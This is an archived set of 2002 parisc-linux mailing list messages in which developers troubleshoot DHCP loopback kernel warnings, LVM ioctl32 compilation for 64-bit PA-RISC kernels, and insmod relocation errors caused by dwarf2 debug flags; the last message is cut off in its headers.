	id 17GDCJ-0006QB-00; Fri, 07 Jun 2002 08:26:07 +0200
In-Reply-To: <200206061858.AA1919091130@mail.centraltx.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15026

Hi Marc,

Which kernel do you used?

It seems to me that I met a similar problem when I install my b2000 with dhcp.
IIRC the main reason was that I forgot to verify that bootp suport was included
in the kernel of my lifimage. (IIRC if you make distclean ; make oldconfig it
should included as default. You can verify with make menuconfig).

I hope it will help you,
    Joel

Quoting marc  <marc@centraltx.com>:

> Why do these messages flood my terminal after installing dhcp?
> 
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> 
> Thanks,
> -Marc
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 07 Jun 2002 09:16:33 +0200 (CEST)
Lines: 46
Approved: news@gmane.org
Message-ID: <1023434193.3d005dd1a2022@webmail.tiscalinet.be>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com> <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621374 8495 80.91.229.3 (22 Nov 2014 01:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 01:16:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2342482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 01:16:38 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GDz8-0006qK-00; Fri, 07 Jun 2002 09:16:34 +0200
In-Reply-To: <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15027

Quoting joel.soete@freebel.net:

> Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> 
> ...
> > I don't know about the 64bit compile switches (I only have a 32bit HP
> > box) but
> > to get LVM running you'll need to take all the bits from
> > arch/sparc64/kernel/ioctl32.c inside the 
> > 
> > #if defined(CONFIG_BLK_DEV_LVM) || defined(CONFIG_BLK_DEV_LVM_MODULE)
> > 
> > #endif
> > 
> > and replace the bits from arch/parisc/kernel/ioctl32.c with them. I
> > suspect it
> > will work. If it does then get a patch together and put it into the
> CVS
> > !
> Great, I will see.
> > 
> > I'm pleased (though not very surprised) that LVM works OK on 32 bit
> > machines.
> 
> So surprised too ??
> 
> 
> Many thanks,
>     Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 7 Jun 2002 08:24:15 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020607072415.GB1053@tykepenguin.com>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com> <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621374 8498 80.91.229.3 (22 Nov 2014 01:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 01:24:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6454482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 01:24:16 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17GE6Z-0000Vp-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 07 Jun 2002 08:24:15 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15028

On Fri, Jun 07, 2002 at 08:05:51AM +0200, joel.soete@freebel.net wrote:
> Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> 
> > 
> > I'm pleased (though not very surprised) that LVM works OK on 32 bit
> > machines.
> 
> So surprised too ??

Well, a little. I've seen enough porting problems in my time that it always 
suprises me a little when a recompile on an untested platform "just works" !



patrick




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 07 Jun 2002 09:28:07 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <1023434886.3d00608701c16@webmail.tiscalinet.be>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com> <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621374 8499 80.91.229.3 (22 Nov 2014 01:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 01:28:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 467A0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 01:28:09 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GEAJ-00064T-00; Fri, 07 Jun 2002 09:28:07 +0200
In-Reply-To: <1023429951.3d004d3f0b639@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15029

Quoting joel.soete@freebel.net:

> Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> 
> ...

> So surprised too ??

Not anymore, in fact all seems already include in ioctl32.

So I just have to find how to compile a 64bits kernel. There should it be some
hack to bring it works.

See you later,
    joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 7 Jun 2002 08:34:00 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020607073400.GC1053@tykepenguin.com>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com> <1023429951.3d004d3f0b639@webmail.tiscalinet.be> <1023434886.3d00608701c16@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621375 8500 80.91.229.3 (22 Nov 2014 01:56:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 01:34:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 883F7482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 01:34:01 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17GEG0-0000X5-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 07 Jun 2002 08:34:00 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1023434886.3d00608701c16@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15030

On Fri, Jun 07, 2002 at 09:28:07AM +0200, joel.soete@freebel.net wrote:
> Quoting joel.soete@freebel.net:
> 
> > Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> > 
> > ...
> 
> > So surprised too ??
> 
> Not anymore, in fact all seems already include in ioctl32.
> 
> So I just have to find how to compile a 64bits kernel. There should it be some
> hack to bring it works.

The stuff that's in there is for LVM0.8, whereas LVM 1.0 is in the rest of the
kernel. The structures have changed slightly which is why it won't compile ATM.

patrick




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probleme while compiling last CVS kernel.
Date: Fri, 07 Jun 2002 09:39:46 +0200 (CEST)
Lines: 18
Approved: news@gmane.org
Message-ID: <1023435585.3d006342034ce@webmail.tiscalinet.be>
References: <3CFF593A.18910E50@admin.france.hp.com> <20020606130006.GE1080@tykepenguin.com> <1023388448.3cffab201378e@webmail.tiscalinet.be> <20020606184327.GO1080@tykepenguin.com> <1023429951.3d004d3f0b639@webmail.tiscalinet.be> <1023434886.3d00608701c16@webmail.tiscalinet.be> <20020607073400.GC1053@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621375 8501 80.91.229.3 (22 Nov 2014 01:56:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 01:39:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B51E5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 01:39:48 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17GELa-00073F-00; Fri, 07 Jun 2002 09:39:46 +0200
In-Reply-To: <20020607073400.GC1053@tykepenguin.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15031

Quoting Patrick Caulfield <patrick@tykepenguin.com>:

> 
> The stuff that's in there is for LVM0.8, whereas LVM 1.0 is in the rest
> of the
> kernel. The structures have changed slightly which is why it won't
> compile ATM.
> 
Ok I will have a more detailed look so.

Tanks again,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange message with insmod
Date: Fri, 07 Jun 2002 10:17:13 +0200
Organization: H.P
Lines: 68
Approved: news@gmane.org
Message-ID: <3D006C09.164DF254@admin.france.hp.com>
References: <3CFF72D7.30FA7556@admin.france.hp.com> <1023381362.3cff8f72ec461@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FD1B093BF74B3C40166ACD07"
X-Trace: ger.gmane.org 1416621375 8503 80.91.229.3 (22 Nov 2014 01:56:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:15 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 02:22:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id C12BC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 02:22:43 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 1DBA37DB
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 10:22:42 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA16706 for <parisc-linux@lists.parisc-linux.org>; Fri, 7 Jun 2002 10:21:35 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15032

This is a multi-part message in MIME format.
--------------FD1B093BF74B3C40166ACD07
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I think I found where the problem is. In order to add debug info
for P4, I've add in the main Makefile: -gdwarf-2. I've remove this
debug option, and now everything is okay. I think that this option is
creating too much debug informations. Does someone has already try
to investiguate a solution in order to add debug information, without
creating soooo much information ?

	Thanks.

Richard Hirst wrote:
> 
> On Thu, Jun 06, 2002 at 04:33:59PM +0200, Bruno Vidal wrote:
> >       Hi
> > I've compiled a new kernel (without LVM), everything seems okay.
> > My dump driver compiled right...but when I use insmod:
> > hpfrcw12:~# insmod dump
> > Using /lib/modules/2.4.18-pa35/kernel/drivers/dump/dump.o
> > r_info 0x29 not handled
> > ...
> > So it is not coming from my modules. The modules are loaded,
> > everything seems okay, but what means this messages ?
> 
> Some relocation type used in your .o files that modutils doesn't know
> how to handle.  Generally modutils only handles the relocation types
> that I have seen in modules to date.  New types might crop up as a
> result of tool chain changes, or different compiler options, or possibly
> kernel code changes might cause the toolchain to generate some other
> relocation.
> 
> Are you using the standard woody toolchain for hppa?  Can you send me
> off list your scsi/st.o, incase I can't reproduce here?
> 
> Everything might seem ok, but it could be some code paths or data
> accesses wont be handled properly.
> 
> Thanks,
>   Richard

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------FD1B093BF74B3C40166ACD07
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------FD1B093BF74B3C40166ACD07--




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] strange message with insmod
Date: Fri, 7 Jun 2002 07:36:58 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20020607073658.A10393@systemhalted>
References: <3CFF72D7.30FA7556@admin.france.hp.com> <1023381362.3cff8f72ec461@webmail.tiscalinet.be> <3D006C09.164DF254@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621376 8506 80.91.229.3 (22 Nov 2014 01:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:16 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 05:39:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id E973F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Jun 2002 05:39:04 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g57Bawk10414;
	Fri, 7 Jun 2002 07:36:58 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D006C09.164DF254@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Fri, Jun 07, 2002 at 10:17:13AM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (83% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15033

> 	Hi
> I think I found where the problem is. In order to add debug info
> for P4, I've add in the main Makefile: -gdwarf-2. I've remove this
> debug option, and now everything is okay. I think that this option is
> creating too much debug informations. Does someone has already try
> to investiguate a solution in order to add debug information, without
> creating soooo much information ?
> 
> 	Thanks.
>

GCC 3.2 is the only branch that has dwarf2 support for HPPA?
You'll have to live with stabs.

ATM I'm trying to find out why 3.1/3.2 produces slightly twisted
kernel net code, and subsequently causing an oops.

c. 




From - Thu Nov 08 21:23:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Verify stack trace address - Joel
Date: Fri, 7 Jun 2002 07:43:03 -0400
Lines: 79
Approved: news@gmane.org
Message-ID: <20020607074303.B10393@systemhalted>
References: <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org> <1023292640.3cfe34e07e65b@webmail.tiscalinet.be> <20020605145928.I29135@systemhalted> <1023378071.3cff8297db5f6@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621376 8508 80.91.229.3 (22 Nov 2014 01:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:16 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  7 05:43:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
